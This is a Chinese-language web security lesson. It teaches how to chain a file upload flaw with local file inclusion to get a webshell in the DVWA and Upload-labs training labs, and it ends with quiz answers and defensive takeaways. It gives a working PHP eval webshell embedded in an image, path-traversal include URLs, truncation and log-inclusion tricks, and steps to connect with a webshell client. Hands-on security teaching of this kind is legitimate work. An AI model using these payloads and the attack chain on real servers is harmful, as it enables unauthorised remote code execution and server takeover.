今天将学习如何将文件上传漏洞与文件包含漏洞进行组合利用,突破单个漏洞的限制,实现稳定、可重复的代码执行。这种攻击链是实战中获取服务器权限的高级技巧,也是漏洞挖掘从“单点利用”走向“链式攻击”的标志。
第十三周·周三:文件上传+文件包含组合利用——突破单点限制
🎯 今日学习目标(达成效果)
- 能解释为什么单靠文件上传往往无法直接执行代码,以及文件包含如何弥补这个缺陷;
- 能设计完整的攻击链:制作图片马 → 绕过上传内容/后缀限制 → 寻找文件包含点 → 包含图片马执行代码;
- 能在 Upload-labs 或自建靶场中,面对仅允许上传图片且禁止脚本执行的环境,通过组合 LFI 实现 Getshell;
- 能利用上传后的图片马结合日志包含、Session 包含等技巧,进一步扩展攻击面;
- 能识别真实应用中这类组合漏洞的利用条件,并制定检测和防御方案;
- 能总结组合攻击对防御体系的启示:必须多维度防护,孤立地修复一个漏洞往往无法阻止整个攻击链。
📘 一、为什么需要“组合”?
在前两周的学习中,你已经分别掌握了:
- 文件上传漏洞:可以绕过各种限制上传恶意文件,但如果存储目录禁止脚本执行,或者文件后缀被强制改为
.jpg,代码就无法运行。 - 文件包含漏洞:可以通过
include()等函数加载任意文件并执行其中的 PHP 代码,但前提是服务器上已经存在包含恶意代码的文件。
单独看每个漏洞,防御措施似乎都能有效阻止攻击:
- 上传目录设置
php_flag engine off→ 即使上传.php也无法执行。 - 文件重命名为
.jpg→ 浏览器不会解析。 - 限制包含路径为固定目录 → 无法包含恶意文件。
但是,如果将两者组合:先用上传漏洞将恶意代码(图片马)存入服务器,再利用文件包含漏洞去include这个图片马,就能让 PHP 引擎执行图片中的代码,完全无视后缀限制和目录执行权限。这就是组合攻击的核心逻辑。
📘 二、组合攻击的经典模型
[攻击者] | | (1) 制作图片马并绕过上传限制(后缀、内容检测、二次渲染等) v [Web 服务器 uploads/ 目录] <--- 存放 horse.jpg (内含 PHP 代码) | | (2) 触发文件包含漏洞,参数指向 horse.jpg v [文件包含点] include('uploads/horse.jpg') | v [PHP 引擎] 发现 <?php ... ?>,执行代码!必要条件:
- 存在文件上传功能,且能绕过防护将含 PHP 代码的文件放入服务器(后缀不限)。
- 存在文件包含漏洞,且包含路径可以指向上传目录(允许
../穿越或使用绝对路径)。 - 上传的文件在包含时不会被二次处理(如图片渲染清除代码),且 Web 进程有读取权限。
✍️ 三、动手实践一:基础组合——DVWA 文件上传 + 文件包含
环境
- DVWA(安全等级 Low)
- 确保 File Upload 和 File Inclusion 两个模块都已启用。
步骤 1:制作图片马并上传
使用之前学过的技巧,制作一个包含 PHP 代码的图片马horse.jpg:
catnormal.jpg shell.php>horse.jpg或者在 PHP 代码最前添加GIF89a:
GIF89a<?php @eval($_POST['pass']);?>上传到 DVWA 的 File Upload 模块。Low 等级无任何过滤,直接上传即可。假设上传后存储路径为http://靶机/DVWA/hackable/uploads/horse.jpg。
步骤 2:确认文件包含点
打开 DVWA File Inclusion 页面,URL 如:
http://靶机/DVWA/vulnerabilities/fi/?page=file1.php尝试包含相对路径:
?page=../../hackable/uploads/horse.jpg页面可能显示乱码(图片二进制数据),但如果你提前在图片马上放置了 PHP 代码,且代码能够执行,你会看到 PHP 代码的输出(或空白 + 代码执行效果)。
步骤 3:使用蚁剑连接
蚁剑的 URL 填入:
http://靶机/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/horse.jpg密码为pass。连接成功即表示你已通过组合漏洞获取了 Webshell。
重要:即使/hackable/uploads/目录被配置为不执行 PHP(例如通过.htaccess禁止),包含漏洞依然会使 PHP 引擎解析文件内容,因为包含操作发生在 PHP 运行时,与 Web 服务器对特定目录的静态解析配置无关。
✍️ 四、动手实践二:Upload-labs 高级关卡组合突破
场景模拟
假设你遇到一个上传点,要求必须上传.jpg文件,且进行了文件头检测和二次渲染(Pass-12 防御级别)。同时网站存在一个文件包含漏洞(例如include.php?file=...)。如何 Getshell?
1. 突破上传限制
利用昨天学到的二次渲染绕过技术,制作一个 GIF 注释木马,使其在经过 GD 库渲染后仍保留 PHP 代码。假设最终成功上传render_horse.gif到/uploads/2024/01/。
2. 利用文件包含执行
访问包含点:
?file=../uploads/2024/01/render_horse.gif如果代码存活,即可执行命令。如果代码因渲染被破坏,再尝试调整插入位置。
3. 如果文件包含点有后缀限制(自动添加.php)
有些包含漏洞会在变量后强制拼接.php,例如:
include($_GET['file'].'.php');此时需要截断。可以使用%00截断(老版本 PHP),或者在文件系统允许的情况下使用长路径截断、点号截断等。现代 PHP 通常已修复,若遇到此类限制,可转而利用伪协议php://filter或日志包含等其他包含技巧。
📘 五、拓展组合:上传 + 日志包含 / Session 包含
如果目标没有明显的文件包含点,但存在 LFI 漏洞(例如可以通过日志污染),一样可以组合:
- 上传图片马到服务器(通过上传点,哪怕无法直接执行)。
- 通过 LFI 包含 Apache 日志、邮件日志、SSH 日志等,而这些日志中可以通过构造恶意请求来注入 PHP 代码。但更直接的是:
- 如果上传后的图片马路径已知,即使没有直接的
?file=参数,也可能通过其他包含点(如模板加载、语言文件加载)利用。
攻防思考:这进一步印证了“没有孤立的安全漏洞”。防御方必须同时堵住上传和包含,并对所有文件操作采用白名单机制。
📝 六、课后测试题与解析
测试题 1:在 DVWA 环境中,如何利用文件上传和文件包含组合漏洞获得 Webshell?请写出完整步骤。
参考答案:
- 制作图片马
horse.jpg(内含<?php @eval($_POST['pass']);?>),上传到 DVWA 的 File Upload 模块(Low),得到路径../../hackable/uploads/horse.jpg。 - 进入 File Inclusion 模块,在
page参数中填入../../hackable/uploads/horse.jpg。 - 页面出现图片乱码,但 PHP 代码已执行。使用蚁剑连接
http://靶机/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/horse.jpg,密码pass,成功获得 Webshell。
测试题 2:为什么即使上传目录设置了php_flag engine off,组合攻击依然可能成功?
参考答案:php_flag engine off仅针对 Apache 直接处理该目录下的 PHP 文件时的解析行为。当通过文件包含函数(如include)加载文件时,PHP 解释器会读取文件内容并执行其中的 PHP 代码,无论该文件位于哪个目录,也不受 Apache 配置的影响。包含操作绕过了 Web 服务器对静态文件的解析策略,直接在 PHP 运行时执行。因此,只要文件能够被包含,代码就会被执行,除非在 PHP 层面配置了disable_functions或使用了其他运行时限制。
✅ 今日学习效果自检清单
- 我能画出文件上传 + 文件包含组合攻击的完整数据流图
- 我成功在 DVWA 中通过上传图片马 + LFI 获得了 Webshell
- 我理解为什么包含漏洞可以无视上传目录的脚本执行限制
- 我能在 Upload-labs 中针对强上传防御,设计包含绕过的攻击链
- 我知道除了直接的包含点,日志包含、Session 包含也可与上传组合
- 我意识到防御组合攻击必须覆盖整个应用的数据流转路径,不能留下短板
⚠️ 阶段避坑重点
- 图片马要尽量小且纯:过大的图片或含有复杂结构的图片在二次渲染或包含时可能出错,影响代码执行。优先使用简洁的 GIF。
- 包含路径穿越时注意深度:
../的层数要足够跳出当前目录并精确到达上传目录。实践中可通过不断尝试确定。 - 某些环境包含图片马会因
Content-Type头或输出缓冲导致“页面已发送”错误:虽不影响代码执行,但可能无法正常连接 Webshell。可尝试在代码末尾添加die()或调整输出。 - 组合攻击的先决条件是两个漏洞同时存在:如果只修复了上传,攻击者可能通过其他方式(如日志注入)制造恶意文件;只修复包含,攻击者可能寻找解析漏洞。因此必须全面加固。
今天你掌握了将两个独立漏洞串联成致命攻击链的能力。明天我们将进一步学习文件上传漏洞在 CTF 中的高阶应用,包括结合 SSRF、反序列化等更复杂的链式利用。请保留今天的实验环境,后续综合实战会继续使用。